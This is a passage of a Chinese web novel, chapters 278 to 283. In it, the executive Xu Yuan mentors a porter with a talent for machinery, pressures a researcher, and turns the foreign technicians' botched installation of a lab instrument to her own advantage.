“谢谢许总。”宋观鱼露出感激的表情,有些不好意思地低下头。 “你现在这个状态其实挺好的。不管怎样,先找一份稳定工作,把日子过下去。” 许愿转头看了宋观鱼一眼,语气轻快:“每一天都是新生命的开始,每一次醒来就好像重生了一次。我们永远不会缺少逆转命运的机会。” 宋观鱼呆呆地看着这双饱含期许的眼睛。 温暖的眸光像泉水,浸润着每一个毛孔,踏实满足的感觉缓慢渗入心田。 第278章 许总你满意吗 脑海中那些乱七八糟的想法全都消失,变成一下又一下狂乱的心跳。 电梯间那么狭窄,宋观鱼唯恐砰砰的心跳声被听见,忍不住捂了捂胸膛。 “许总,我知道了的,我会努力的。”宋观鱼语气认真,但凡他对宋总这态度,他老子能把星星月亮都摘下来送他。 许愿仔细看了宋观鱼一眼,脸上浮出欣慰的笑容。 她知道深陷在泥泞里是什么滋味,遇到境况艰难的人,她其实总忍不住给对方个机会然后拉上一把。 “我让你学物流只是想告诉你,在职场上一定要有进取心。你如果有更擅长的领域,千万不要放弃。” 货运电梯的门开了,许愿推着车子朝前走。 宋观鱼连忙跟上,竖起耳朵。 他爹要是知道他在外面这么听话,肯定会流出感动的泪花。 “先攒一些钱,把生活稳定下来,以后再慢慢寻找更适合自己的工作。你以前学的是艺术,毕业成绩还不错,不往这方面发展可惜了。” “我其实不喜欢艺术。”宋观鱼坦诚道。 最真实的想法当然要让许总知道。 “哦?那你喜欢什么?”许愿挑眉问道。 “我喜欢机械。我很擅长改装摩托车和汽车。我研究过发动机,自己花钱改造了一个,装在赛车里,拿到了国内大赛的第一名。” “那你真的很厉害!自学成才,这就是天赋。”许愿点头赞叹。 不过赛车吗…… 许愿挑了下眉,她对此也有研究,如果宋观鱼真的有能力未来倒是可以挖到盛华。 宋观鱼一下子就眉开眼笑了。被许总一夸,骨头都轻了二两。 “那你为什么不去应聘机械师?盛世一直都在招机械师。” 欢喜的笑脸微微垮下一点,宋观鱼不好意思地挠挠头:“我没有证书和文凭。” 想进大厂,证书和文凭是迈不过的槛。 “证书是可以考的。你既然喜欢机械,又有这方面的天赋,那就不要放弃。买一套资料回去学,平时刷刷题,考一个机械师资格证,以后找工作更容易。机械师工资很高,等级升上去,经验积累起来,年薪百万的也有。以前是你爸妈养你,以后换成你养他们,这么一想,是不是成就感爆棚?” 宋观鱼立刻乖巧点头应着。 许总是个孝顺的人,我也要孝顺。 孝顺的宋观鱼终于想起了被自己遗忘在九霄云外的父亲。 宋观鱼摸出手机,找到宋驰的微信,发了一个从朋友那边盗取的送花比心的表情。 宋驰:【兔崽子,这次要多少?】 谁要钱了!完全不懂他的一片孝心!可恶! 宋观鱼把手机塞回裤兜,没再理会老爹。 许总就在身边,别人都得往后排。 电梯门开了,许愿推着车往外走,说道:“你连搬运工都肯干,不如去车间当维修工。维修工门槛低,我打个招呼,工厂那边就能收你。去了以后找一个有经验的老师傅带一带,能学到很多东西。周围都是内行,在那种环境下考证会更容易。这个就算是你的职业规划,起步的时候工资低一点没关系,后面有了经验就是越老越吃香。” 许愿接触过这些,对这些都是懂的。 宋观鱼连连点头,耳根子有些发红。 许总为他想得太周到了。许总真的好棒啊,他真的越来越喜欢许总了。 前方出现一个岔路口。宋观鱼窃喜的脸陡然僵硬。 许愿停下脚步,忽然觉得自己多事了。 有些人喜欢奋斗,有些人喜欢当咸鱼,各自都有各自的活法。 她拿自己的思想去左右别人的人生,未免有些可笑。 “抱歉,我这个人爱钻营,脑子里想的都是升职加薪那些事。”她揉揉眉心,无奈一笑,“你喜欢干什么就干什么,我只是提个建议。” “我知道,谢谢你许总。”宋观鱼握紧车把手。 许总的建议非常好。但是去了车间就见不到许总,那他还是当搬运工吧。 前面是两条不同的路,他们注定要分开走。下次见面或许在几小时之后,又或许在明天。 宋观鱼满心都是恋恋不舍,却不敢表露出来。 他用力点头,语气坚定,“许总,我一定会努力上进的。你可以监督我。” 自己的话被认真听取,许愿微蹙的眉心不由舒展开来。许愿低声笑了笑,转头走向另一条路。 宋观鱼站在原地看了她很久,直到看不见许愿的身影才有些可惜的离开。 许愿刷开门禁,走入灯火通明的研究室。 看见他,来来往往的白大褂脸色都是一僵,然后低下头,小声地喊着许总。 许愿低声一笑,慢慢走进段星河的办公室。 办公室由四面玻璃墙围挡,面积很大,正中间挂着一块屏幕,屏幕里一辆流线型跑车正在路上飞驰。 “车型是你设计的吗?很漂亮。”许愿仰头看去。 “你是不是很讨厌我?”许是因为之前在会议上因为几个填起了争执,段星河问了这个问题。 许愿愣了一愣,语气平静:“讨厌谈不上。” “不讨厌也不喜欢?” “车子很漂亮。” “明白了。”段星河看向屏幕,眼里暗潮翻涌。 回避本身就已经代表了答案。 许愿不喜欢自己,甚至是有一点讨厌。 段星河心情沉闷,脸色阴郁。 “给我讲讲你的工作规划吧。”许愿双手抱胸,扬起下颌。这是上位者发号施令的姿态,非常强势,明显换上了资本家的嘴脸…… 段星河心里有怒气,更多的却是一种莫名的心痒和不甘。 “把我骗过来签了卖身契,你就不装了?”他阴沉着脸。 “嗯,不装了。”许愿抬眸轻瞥,绽开笑颜。 段星河本该愤怒,质问,发难,然而面对这张脸,他却完全摆不出恶劣的态度。 良久,段星河捏了捏眉心开口。 “我的工作规划是这样……”他拿起遥控器,播放一段视频,视频里,智能驾驶汽车从陆地飞上空中,又在海面滑行。 许愿认真听着,没有插嘴。 段星河越说越起劲。 他忽然发现,把科研成果展示给许愿,让许愿知道自己拥有改变世界的能力,竟然可以减少憋在胸口的闷气。 “……许总,您满意吗?” 足足讲了一个多小时,段星河才意犹未尽地收尾。 他假装平静淡然地看过去,握着遥控器的手暗暗用力。 第279章 可以让你见到苏青莲 他觉得这样总能让许愿知道自己的价值了。 “我不满意。”许愿摇头。 段星河:“……” 哗啦啦,这是自尊心二次碎裂的声音。 “我建议段老师不要想得太远。汽车能不能飞,那是以后的事。我们首先要研制的是治疗癌病的药物,而汽车相关的首先也要解决电池续航的问题不是吗?这些都还没有研究透就要去想象汽车飞行,有些异想天开假大空了。” “说好了不干涉我的研究呢?”段星河终于找回自己的声音。 “我只是提出大方向,研究工作自然由段老师主导。”许愿脸不红气不喘地说着假话。 大方向?这分明是规划好了框架直接让他按部就班的来,哪里有给他选择的机会。 “解决了这个问题,许总就能坐稳盛世总裁的位置。所以我是许总的工具?”段星河努力克制着脾气,几欲把遥控器捏碎。 “段老师也可以把我当工具。我帮段老师打点工作和生活中的琐事。为段老师融资,筹备研发基金,解决一切后顾之忧。我们的合作是双赢。” 许愿摊开手,用诱惑的语气说道:“段老师不想试试吗?我这个工具非常好用。” 段星河锐利的眼眸一瞬间暗沉下来,遥控器在猛然握紧的五指中裂成两半。 怎么试? 躁动的火焰在段星河心中燃烧,但他表面上却风平浪静。 许愿的脸近在咫尺,带着运筹帷幄的笑容。 如此漂亮的一个人,全身上下完美无瑕,气质中带着几分易碎的脆弱,像个艺术品。但她骨子里却带着明显的狼性野性。 就像当初的苏青莲…… 段星河眸光愈发暗了。 “许总,盛华总裁不是你的最终目标,占领国内市场也不是你的最终目标。我能问一问你对职场抱有多大野心吗?”段星河摘掉金丝眼镜,用一块布慢慢擦拭,慢条斯理的开口询问。 许愿想了想,答道:“你一定要问,那我只能说我想的都是我的目标。” 擦镜片的动作停顿了一瞬,段星河禁不住勾起唇角。 她想的都是她的目标?智能系统领域,医药领域,高奢品牌,娱乐圈……这类她的目标远大啊。 段星河抬眸,看向对面的漂亮的女人。 许愿勾唇,微微一笑,黑色火焰灼烧着她深不见底的眼眸,却让人觉得实在漂亮到难以形容,就像当初初次见到苏青莲时的感觉。 段星河收回目光,继续擦拭镜片,心跳莫名其妙有些紊乱。 许愿有毒! 她散发的魅力是致命的,她的性格也是致命的。 与她相处是极其危险的一件事。 紊乱的心跳变成了急促的心跳。明明已经看清了许愿的本质,但段星河依旧不能清醒。 可偏偏许愿越是如此,他便越是嗜痛一般想要接近。 他已经无法摆脱这份诱惑。 换作任何一个人,都会失去抵抗的能力。 “许总想要实现这个目标,应该少不了我帮忙吧?如果我能解决许总的问题,那我能得到什么呢,许总你该知道我不喜欢做无用功,请我做事是需要付出点代价的。” 段星河戴上金丝眼镜,直勾勾地看向许愿。 “你能得到无限的资金支持,还能把自己的梦想变成现实。我将全力支持你,把这款海陆空全自动智能汽车研发出来。”许愿指了指大屏幕上的豪华跑车。 “你怎么知道它是我的梦想?”段星河似笑非笑地问。 “因为看见它的第一眼,我就爱上它了。我相信它会是每一个人的梦想。”许愿轻笑。 段星河低下头,意味不明地低笑一声。 “许总,你知不知道,人的梦想会改变的。” “哦?段老师的梦想改变了?没关系,你可以跟我说一说,或许我可以帮你实现。”许愿挑起眉梢,表情里充满兴味,也带着几分傲然。 段星河拿起另一个遥控器,按下一个键。 四周的玻璃墙忽然变成不透明的黑色,隔绝了外部的窥探。 头顶的白炽灯照亮了段星河晦暗莫测的眼眸。 “许愿,只要忍耐几年,我就能跟盛世解约。解约后,多的是大公司愿意出钱帮我实现梦想。我不是非你不可。” 许愿看了看四周的黑墙,漫不经心的微笑已全数收敛。她意识到段星河正在与自己对抗。 “如果这几年内你如果没有开发出像样的成果,你的专利依旧要无偿给盛世使用。” “没关系,给你们用。以后我会拥有更多专利。”段星河不以为意地笑了笑。 许愿挑眉看他:“段星河,你在挑衅我吗。” 段星河摸摸手背:“不算是挑衅,只是让你清楚这些事实。” 许愿毫不在意的倚靠在墙边,姿态潇洒闲散。 “段星河,你能研发的东西我一样可以研发,如果你想和我作对的话,我自然也可以奉陪到底,你要试试看吗。” 段星河狂跳的心陡然一沉,握紧的手掌里冒出许多细汗。 “而且,我可以帮助你见到苏青莲。” 许愿看着段星河嘴角忍不住上扬,开口的话却直戳段星河的心窝。 “你不想见她吗?” “这么多年你一直在等她吧。” “你为什么会在这种时候来见我呢?无非是你一直关注我知道苏青莲有跟我通话。” “你不过是想通过接触我寻找到能联系到苏青莲的媒介。” “段星河,我可以让她见到你。” 许愿开口的话已经几近蛊惑了。 段星河双手插兜,斜倚着桌台。他表现得很镇定,却不知道自己急促滚动的喉结已经被许愿看在眼里。 许愿慢慢走回去,在段星河面前站定:“段星河,你的回答呢。” 这是许愿在故意的跟他对峙。 段星河死死的盯着她,几乎想要咬牙,终于下一秒还是打开电脑,调出文件。 段星河极力维持着声音中的平淡:“这些是半成熟的技术,目前已经有了突破性的进展。这是详细资料,你看看吧。” 这已经是段星河的让步了。 “字太多,不想看。”许愿瞥都不瞥,只是摇头。 段星河:“……” 第280章 争执 许愿是真的看不懂吗? 她就是懒得看。 段星河这种人就适合浑身带着嚣张气焰压一压,对他太好只会让他得寸进尺顺杆儿爬。 她是资本是投资人,凭什么还要浪费时间去看报告?就应该段星河跟她解释清楚才对。 “我看不懂。” 许愿再度重复了一句,脸上的笑意很明显。 段星河揉捏了下眉心,像是轻微的叹了口气,良久后才开口:“我会重新安排人做一份策划案然后发到你的邮箱。” 他知道许愿是在逼着他低头,他也确实低头了。 许愿轻微的歪了歪头,看向他时眼底都带着轻缓的笑意,显然,她对段星河此刻的回答还算满意。 这才算是职场人。 段星河在这里可以有独属于他的骄傲,但飞得太高的人只会灼伤旁人,这算是许愿为他上的一堂课。 “段老师,你乖乖听话,我会让你见到苏青莲。” 许愿眸光闪了闪:“你知道的,我有这个能力。” 苏青莲在国外一直没有放弃过对他们姐弟二人的监控,段星河找不到她,不代表她也找不到,她相信如果唐青江真的即将苏醒,那苏青莲一定会找机会跟她见面,她就是在等待那个时机。 许愿没有回头,只是抬起手臂挥了挥手,算作告别。 段星河僵硬地站了很久才慢慢拉开椅子,魂不守舍地坐下。 段星河低头继续翻阅着那份自己已经烂熟于心的数据资料,片刻后段星河摘掉金丝眼镜,发出低沉沙哑的一声笑。 把他逼到这一步,该说不愧是苏青莲的女儿吗。 拿这次的研究换取见到苏青莲的机会,这对他来说是很划算的一笔买卖。 可是以后呢? 段星河有一瞬的茫然,他似乎是真的在花费时间在考虑自己以后要跟许愿做什么交换。 …… 公司把地下5到7层都批给研发部,用来组建实验室。 实验室已经基本完工,但是还有很多设备需要安装。 时间就是金钱,这个道理许愿比谁都懂。 她要求国外那边的机械工程师必须在今天晚上把运来的仪器安装好,为此愿意支付高额的加班费和安装费。 偌大的实验室里,一群人在忙碌。 宋观鱼把推车上的货箱抬起来,轻轻放到一旁。 不远处,几个老外正在组装一堆零件,不时叽里呱啦说着德语。 从表情上看,他们都很不耐烦,搬运工推着小车来回走动的声音并不嘈杂,但他们好像受到了莫大的干扰,站起来指手画脚,大喊大叫。 搬运工们点头哈腰,连说对不起。 虽然听不懂德语,但生气的表情他们还是看得懂的。 宋观鱼磨了磨后槽牙,捏了捏硬邦邦的两个拳头,用尽全力按捺住了打人的冲动。 别人听不懂德语,他却非常精通。 那些老外骂得太脏了。 “华人就是蠢就是笨,这么简单的事情都做不好!” “这么晚还让我们加班,真想揍那个负责人!” “负责人可是个大美人,我听说是什么国内外都很有名的,叫许?听说还跟奥瑞亚发生过争执,也不知道是不是有什么资本后台。” “嘿嘿,谁管她有没有资本,我就知道她是个美人儿。” “确实是个美人,也不知道以后有没有机会……” 几个人凑在一起发出猥琐的笑声。 充满淫念和恶意的笑声不断传来,逐渐瓦解宋观鱼的理智。 妈的,许总你们也敢侮辱! 宋观鱼大步走过去,脸色阴沉可怖。 一道修长的身影比他更早来到那群人面前,用流利的英语问道:“今天晚上能装好吗?” 是许愿。 几个老外连忙收起不怀好意的笑容,用生疏的英语说没有问题。 “加班费和组装费我都是双倍给的,希望你们的能力配得上你们的酬劳。”许愿说话毫不客气,她当然知道那些人说了什么,只是此刻面无表情的看着这些人,眼底的冷意浅浅被掩藏。 几个老外明显被激将,拿起图纸开始组装设备,一句废话都不再多说。 许愿面色淡然的恍若真的什么都没听懂的看着这几人组装工作。 盛世的几位机械工程师也赶来帮忙,每每伸手去拿箱子里的零件,都会被几个外国人训斥。 盛世的机械工程师看向许愿,脸上隐隐带着怒气。 许愿不着痕迹地摇头,示意他们不要插手。 宋观鱼慢慢走到近前,伸长脖子看了看。 那些组装说明书都是用德文写的,图纸画得非常精细,线条显得极其复杂。 几个外国人凑在一起看图,嘴里讨论着步骤,拼了拆,拆了拼,老半天都没组装出像样的东西。 “许总,他们好像出问题了,我们要过去帮忙吗?”盛世的机械师小声询问。 他们出了问题为什么需要她们的人来解决? 她们付了钱不是吗? 如果付了双倍的价钱最后给他们安排来的就是这种垃圾,她也会让国外的公司知道盛世并不是好招惹的。 宋观鱼在一旁着急,他是站在许愿的角度看事情,他担心许愿会因为这件事被盛世的高层针对。 宋观鱼盯着图纸看了半天,忽然用纯正的德语说道:“这个地方你们拼错了,线路板不是这么接的。” “你是谁?” “哪里拼错了?” “你们自己能组装,还请我们干嘛?” 几个外国人看向宋观鱼,表情或轻蔑,或怀疑,或带着几分嘲讽。 宋观鱼弯下腰去拿图纸,手腕却被一只莹白如玉的手握住。 “这些东西你不能碰。”清润的嗓音像淌过林间的山泉。 宋观鱼浑身僵硬,脸颊涨红。 许总为什么不让我碰?我不是来捣乱的,我只是想帮忙而已。 他眨眨眼,心里是真委屈,他是真的会。 “不要乱动,这些设备很贵。”许愿警告道。 宋观鱼意识到自己被嫌弃了。 许总怕他弄坏这些东西,觉得他什么都不懂什么都不会。 “外面还有很多箱子没搬进来,你去吧。”许愿放开宋观鱼的手腕,冲外面扬了扬下颌。 第281章 哭了? 宋观鱼的自尊心受到了严重的伤害。谁都可以看不起他,唯独许总不可以。 “他们没看懂说明书,这个地方的线路板——” 许愿打断宋观鱼的话:“这不是你的工作,你去搬货。” 正准备据理力争的宋观鱼像斗败的大公鸡,脑袋一下子低垂到胸口,粗硬的黑发仿佛也蔫了,一根根贴着头皮。 因为学历不高,成绩不好,没有亮眼的荣誉,所以许总看不起自己,不仅不让他看详细的说明书,还要他去搬货。 或许在许愿眼里他只适合搬货。 这样的认知让宋观鱼红了眼眶,无比难过。 老宋常常骂他没出息,说他将来只能靠分红过日子。那时候,他从来不觉得受伤,因为他知道自己很行。但许总的一句否定,却让他产生了严重的自我怀疑。 他是不是真的很没用帮不上忙就是个废物。 宋观鱼可怜兮兮地看了许愿几眼,许愿却连看都没有看他,他垂头丧气地走了。 “他是谁?他能看懂图纸?”外国人问许愿。 “他只是一个搬运工。” 宋观鱼听见许愿用漫不经心的语气说出这句话。 几个外国人发出嘲讽的低笑,恶意满满地贬低几句。 许愿并未出言维护,只是勾起唇角淡淡一笑。 宋观鱼回头看了看,心里一片刺骨的冰寒。 被任何人瞧不起,他都觉得没所谓。被许总这么轻视,他只觉得挖心剖肝一般疼痛。 他大步前行,不想看到许愿此刻的反应,背影狼狈地似在逃离。 到了停放货车的地方,他一屁股坐在小推车上,极为不甘地抓乱头发。 【爸,你给剑桥哈理工捐笔钱,送我去进修吧!】他拿出手机飞快打字。 【你做梦呢?送你到国外你又去参加赛车比赛发疯?咱俩总有一个要疯。】 宋观鱼:【……不会的!这次我一定好好学!】 【当搬运工太累了吧?干不下去了是吧,别想了,不会让你回来的,你不是说就喜欢在盛世待着?当保安都乐意?】宋驰气哼哼地回复。 宋观鱼急了但是发再多消息宋驰都不回应了。 被许愿看不起的感觉,化为心底里难以愈合的一道伤。 宋观鱼一辈子都不会忘记许愿让他离开时的那个淡漠表情,以及唇角那抹轻鄙的浅笑。 许愿是盛世总裁,高高在上,而他只是一个搬运工。 阶层与阶层之间是存在坚壁的,人与人之间也有高低贵贱之分。从未有哪一刻让宋观鱼深刻地体会到这一残酷的现实。 如果他说出心底的喜欢,或许在许愿看来,这份感情只是廉价的东西。又或许,许愿会觉得受到了侮辱。 宋观鱼不敢深想,把脑袋埋在臂弯里,像只无家可归的流浪犬,在黑暗中蜷缩成一团。 周围一直有搬运工来回忙碌,却没有人上去打扰。 大家都是一样的工作,一样的心酸,有时会因为前途迷茫有时候会因为家庭烦闷,所以自然能体会一样的苦楚。 不知过了多久,周围安静下来,货车里还剩下几个箱子,一天的忙碌终于要结束了。 几个搬运工站在不远处抽烟,时不时担忧地看向宋观鱼。 “小宋怎么了?” “他想去拿图纸,被许总骂了。” “自尊心受伤了吧?” “咱们是搬运工,哪里能碰那种高级玩意儿,那群外国人都不是好对付的,没看到对许总都眼睛不是眼睛鼻子不是鼻子的?更别提我们只是干苦力的搬运工了。” “小宋心气高,听说是大学生。” “唉,还是太年轻,面皮薄。像我们这种老油子,被指着鼻子骂都没感觉,只要许总不扣我工资,怎么着都无所谓。” “嘘嘘嘘,许总来了。” 大家连忙噤声,用力吸了几口烟,目光追随着那道婀娜纤细的身影。 天已经黑了,停车场有些昏暗,那个人却是一缕光源,走到哪儿,哪儿便显得异常明亮,众人望着她,根本移不开目光。 “哭了?”清润的声音响在耳畔,带着微微的一些笑意。 蜷缩成一团的宋观鱼浑身僵硬,半天不敢乱动,甚至不敢抬头,他担心许愿看到自己通红的眼眶会看不起自己,只是声音很小:“我没哭,就是想家了。” 想个屁的家,谁想家他都不可能想家的,他现在就是委屈。 “真的没哭?”许愿靠在一边歪头看他,觉得这样有点可怜又有点可爱,像是某种流浪在外的小动物。 “我没哭。”宋观鱼连忙抬头。 “你眼睛都红了。”许愿指了指宋观鱼的眼睛。 宋观鱼抹了把脸,重复道:“我没哭。” 许愿低声笑了笑,取出一包烟:“抽吗?” “抽。”宋观鱼从烟盒里取出一根烟。 许愿其实自从孩子没了后就没再抽烟了,这烟还是从段星河房间里摸出来的,段星河偷藏了几条烟都被她让人偷出来,算是小报复。 这包烟她带在身上倒是忘记放下了,现在刚巧能拿来安慰宋观鱼了。 宋观鱼会抽烟吗?压根不会。 一个在圈子里浪荡的公子哥只会喝点酒精饮料连烟都不会抽,说的就是宋观鱼这种。 许愿将打火机丢给他,他点燃香烟,吧嗒吧嗒抽燃香烟,从嘴里吐出一口蓝雾。 许愿忍俊不禁,戳穿道:“你不会抽烟。” “我会。”宋观鱼飞快吸了几口烟,却都只是过过嘴。 许愿看他这副傻兮兮的模样不由失笑。 宋观鱼看着她笑,此刻有些怔愣,被轻视的痛苦,好像都遗忘了。 “不会抽就别抽了,我又不会笑你。” 她漫漫地笑,轻轻地述说,比月光还要温柔。 其实许愿心情并不算好,盛景炎的医生给的结果并不好,还在商讨手术内容,盛世的老狐狸哪怕清楚她的价值还是想要压榨她,傅氏那边也一直有小动作。 但现在看到宋观鱼这呆呆傻傻的模样实在是忍不住想笑。 看到她的笑意,宋观鱼心里再没有一丝难过,只有强烈到无法克制的迷乱。 第282章 在帮他打脸 宋观鱼用力吸烟,吞入肺里。 “咳咳咳咳咳……” 下一秒,他咳得惊天动地。 “不会抽烟就过过嘴,抽烟又不是什么好习惯,不会抽挺好的,干净清爽。”许愿温柔的嗓音里带着浅浅的笑意。 宋观鱼摘掉香烟,低头藏起羞红的脸。 啊,这,那是不是说明许总说他干净啊。 宋观鱼抬起头,飞快看了许愿一眼,眸子里散发着热意。 许愿解开西装外套的几颗纽扣,扯松领带,不顾小推车沾满灰尘,在宋观鱼身边坐下。 宋观鱼浑身的汗毛都竖了。 被暗恋的人贴贴,原来可以让心脏跳得这么快! “那台仪器被几个外国人装坏了。”许愿轻笑道。 宋观鱼傻乎乎地看着许总的侧脸。 “坏了?”过了好一会儿他才反应过来,迟钝地接上一句。 “是的,组装坏了,面板是死的,打不开。”许愿不以为意地说道。 其实许愿知道怎么安装,但她是盛世的领导层,她们花费了大笔价钱买来的仪器又花了双倍的价格邀请外国机械师来安装,出了这种状况凭什么是她来买单呢? 所以她没有阻止,甚至是放任自由,就是要让仪器坏掉,这样她才有理由追责。 变成资本后,心确实是黑的。 许愿此刻才不愿承认是因为那些人嘴巴太脏。 她就是如此狠心睚眦必报。 她什么都没有做,事实上她可以做可以阻止,但她不做,就能让那群人自寻死路。 宋观鱼却完全不知道许愿此刻的心思,他挼了把头开口:“……我早就说了,那个线路板接的不对。” “许总,出了问题盛世那群人会不会找你麻烦啊?这件事我可以解决的,我真的能看懂那些设计图。” 宋观鱼解释,他是真的担心许愿嫌弃自己,说这话时都沾带着点小心翼翼的感觉。 许愿听出了宋观鱼的意思。 挺新鲜的,被一个傻乎乎的人关心了。 许愿失笑:“你能接好?” “我肯定能接好。那张说明书画得很精细,傻子都能看懂。” “越精细的说明书越复杂,傻子肯定看不懂。”许愿转头看向宋观鱼,“有经验的机械师都看不懂,你怎么能看懂?” “你不相信我?”宋观鱼低下头,满脸受伤。 他觉得自己又被嫌弃了。 “我不是不相信你。”许愿慢条斯理地解释:“我只是不想让你担上责任。他们组装的时候,你不要去沾手。机器拼坏了,他们会把责任推给你。那台机器上百万甚至更贵,你赔得起吗?” 宋观鱼愣住了。 显赫的家世、雄厚的财力让他做什么事情都没有顾虑,所以他从未考虑过机器损坏需要赔偿的问题,以前弄坏东西玩坏东西直接就刷卡或者记老宋的帐上,直到现在许愿说的这些才让他明白现实的残酷。 他现在只是个身份普通月薪水一万块的搬运工,一天要出卖体力劳力才能拿到薪水,那台机器几百万不止,他可能这辈子都还不起的。 但许愿考虑到了。 所以许愿让他走让他不要去碰那个机器根本不是看不起他,更不是轻视,而是保护。 一股暖流从心底涌上来,情潮瞬间汹涌。 宋观鱼猛地吸了几口烟,努力克制着想要拥抱许愿的冲动。 宋观鱼眼眶更红,身体发烫。 许愿却以为宋观鱼在难过,她开口道:“以后不要随便插手自己职责以外的事。出了问题,别人很容易甩锅给你。” 她最清楚这些,最初在傅氏工作时秘书科的人以为她好欺负没少使绊子将责任推到她身上。 “我知道了。”宋观鱼乖乖点头。 “我刚刚联系了国外那边,他们赔偿了一半的购货款和一台新的机器,另外还会派几个高级工程师过来。”许愿站起身,问道:“你能装好那台机器是吧?” 赔偿了一半购货款还另外赠送了一台新的机器可谓是大出血,这些钱怕是要从那几个人身上出了。 不过这跟许愿又有什么关系呢,是那几个人没有做好自己本职工作。 但凡那几个人态度友好一些直言自己的错误,许愿不会怪罪甚至会告诉他们如何操作,怪只怪他们不会做人。 宋观鱼听得一愣一愣的,呆呆地点头。 “走吧,去把机器装好。那几个人的加班费和组装费,我算在你头上。”许愿轻笑着说道。 宋观鱼愣了好一会儿才站起身,不敢置信地问:“你相信我?” “反正机器已经坏了,那边会赔给我们一台新的。我想给你一个机会。” 比起信任,许愿觉得机会对陷在困境中的人来说更有价值。 抓住机会,就能逆转命运。 如果宋观鱼真的有这样的能力,那她就能花费时间去培养。 宋观鱼明白许愿的意思,心里热烘烘的,像是有什么东西在膨胀。 一见钟情的激流终有一天会消退,唯有那些闪闪发光的品质会沉淀下来,变成经久不息的火焰。 对许愿的喜欢,好像越来越深,越积越多。 “谢谢你许总。”宋观鱼声音沙哑地说道。 老宋都没给过他这样的机会去证明自己。 “没事,赔偿我都谈妥了,那台机器本来就是留给盛世的机械师练手的。那些外国人总是露一手藏一手,我们必须培养出自己的维修人员,否则每年都要交高额的维护费。” 宋观鱼见她烦恼这些心里也跟着骂那群外国人。 “不知道为什么,我从小就喜欢看图纸。机械方面的东西我一学就会。许总,我可以帮你。”宋观鱼认真说道:“回去我就研究研究那些机器,争取搞懂原理。” 真诚永远是最打动人的,许愿忍不住轻笑。 两人来到实验室。几个外国人在摆烂,拿着螺丝刀叮叮哐哐地敲。 盛世的机械师聚在一起研究图纸,表情有些凝重。 “你们既然搞不定,我就让我的搬运工试一试。”许愿推了宋观鱼一把,让他站到人前。 我的搬运工? 宋观鱼爱死这句话,不由心花怒放。 什么阶级坚壁,高低贵贱,原来全都是他的胡思乱想,许总才不是那种人! 许总在帮他打脸! 第283章 我们许总 “你让一个搬运工来修机器?”几个外国人满脸不可思议。 在外国人看来这简直就是离谱的程度。 一个搬运工懂什么?他能看得懂德文吗? 宋观鱼无视外国人的质疑,他上前捡起地上的一本说明书,快速翻看,说明书确实说的很详细,宋观鱼快速扫过不过几分钟就已经把图纸拓印在脑海中,记住了所有步骤。 “我试试看。”他拿起螺丝刀完全不顾那几个外国人在一旁看笑话,兀自做自己的工作,快速拆开仪器,重新组装散落一地的零件,然后一点点的拼接着机器。 简直就是笑话,一个搬运工还想来出头?他们都没办法拼好的机器他就有办法拼好? 几个外国人凑到一起等着看宋观鱼的乐子。 起初几个外国人还满脸嘲讽,等着看笑话,到了最后,一个个人都傻了。 盛世的几名机械师也从不耐到最后的震惊。 宋观鱼是真的在拼接机器,他甚至后面都没有怎么看说明书了,手速快到他们都心里发慌。 许总从哪里找来的高手?这真的只是一名搬运工?开什么玩笑! 一个小时后,机器装好,连上电源,面板开启,一切功能运转正常。 几个外国人呆呆地站在一旁,表情十分尴尬,甚至脸色发白。 这不是他们期待看到的画面。 他们期待的是宋观鱼没能拼接成功然后换来他们的奚落,而不是现在将他们的脸面踩到地上碾压。 盛世的机械师围拢上去左看右看,不断提问。 宋观鱼并不藏私,直接翻开图纸给大家讲解要点和难点。 他没有说谎,他在机械组装方面的确拥有过人的天赋,他甚至在一旁讲解的时候还偷偷朝着许愿看着。 他想知道许愿的反应,有没有对他刮目相看,或者觉得他有点棒? 他这样没有让许总失望吧! “恕我直言,你们真的是专业机械师?能把资格证给我看看吗?盛世的搬运工似乎都比你们厉害。贵公司是不是存在欺诈行为?我明天会发邮件详细询问,希望你们的;老板能给我一个合理的解释。” 许愿看了宋观鱼一眼,眼底略过一抹笑意,再看向几个外国机械工程师后开始发难。 以她的性格,半数的赔偿款还不够。她要的是更优惠的价格,更任劳任怨的专家团队,还有无偿赠送的零部件。 几个外国人连忙赔礼道歉,急切地解释一通,又说以后会跟着华国人一起加班,再也不抱怨。 被狠狠扇了几巴掌,他们总算学乖了。 许愿把这几个老外收拾地服服帖帖,这才让他们继续干活。 “以后我的搬运工会跟着你们学,你们指点一下他。”许愿指指宋观鱼 宋观鱼挺起胸膛,满脸骄傲。 说的没错!他就是许总的搬运工! “好的好的,没问题。”几个外国人点头如捣蒜。 就算他们不教,光是看图纸,那个华国人也能自学成才。倒不如卖个人情,好好指点,这样就能求许总给个好评,回了总公司免得被炒鱿鱼。 许愿终于露出满意的笑容,手搭在宋观鱼的肩膀上,轻声说道:“这段时间你好好学,那几个外国人只是工具人,你不用太在意他们。你跟盛世这几个机械师搞好关系,回头我会把你调到机械工程部去。那边的学徒工,一个月最低的薪水都有两万块。” 宋观鱼一时失语,漆黑眼眸定定地看着心上人。 父亲很爱他,却只会管控他的人生,并不会支持他的理想。 很多时候,父亲甚至责骂他不务正业,玩物丧志。 但许愿不一样。许愿能看见他的闪光点,并且努力为他制造机会,让他绽放出更多光芒。 宋观鱼浓烈的情意像岩浆般喷涌。 然而表面上,他只能低下头,感激地说道:“谢谢你许总,我一定不会让你失望。” 许愿没有说话仍然是轻笑。 “去了机械工程部,我还能不能见到许总?”宋观鱼很想忍住,却还是问出了最迫切的一个问题。 如果去了机械工程部就见不到许总,那他宁愿当搬运工。 许愿微微一愣,笑着点头:“当然可以。我们这边机器很多,每天都要有人维护检修,你可以留下执勤。” 宋观鱼心脏一阵狂跳,连忙说道:“谢谢许总!我一定会好好学!” 许愿笑着鼓励几句,转身离开。 【小鱼,既然你知错了,爸爸给你捐一笔钱,送你去国外深造。】宋驰考虑良久,到底还是心疼儿子的,斟酌半天发来一条短信。 宋观鱼嗤笑,美滋滋地回复:【我的前途,我们许总已经帮我安排好了,用不着你操心!】 他心机的说了句“我们许总”。 有维修工小声低估:“小宋在那里高兴什么呢?” “豁,换做是你你不高兴啊,那可是许总啊!许总跟我说句话我能高兴半个月呢。” “我看小宋对许总好像有点不一样啊……就是那种感情,你能懂吧。” 维修工当然懂,恍惚了片刻。 “可是……许总都有未婚夫了,我们盛总虽然现在因为身体状况不常来盛世,但许总和盛总的感情一直都很好,小宋……小宋是挺好,但是身份家室摆在那里,没可能啊。” 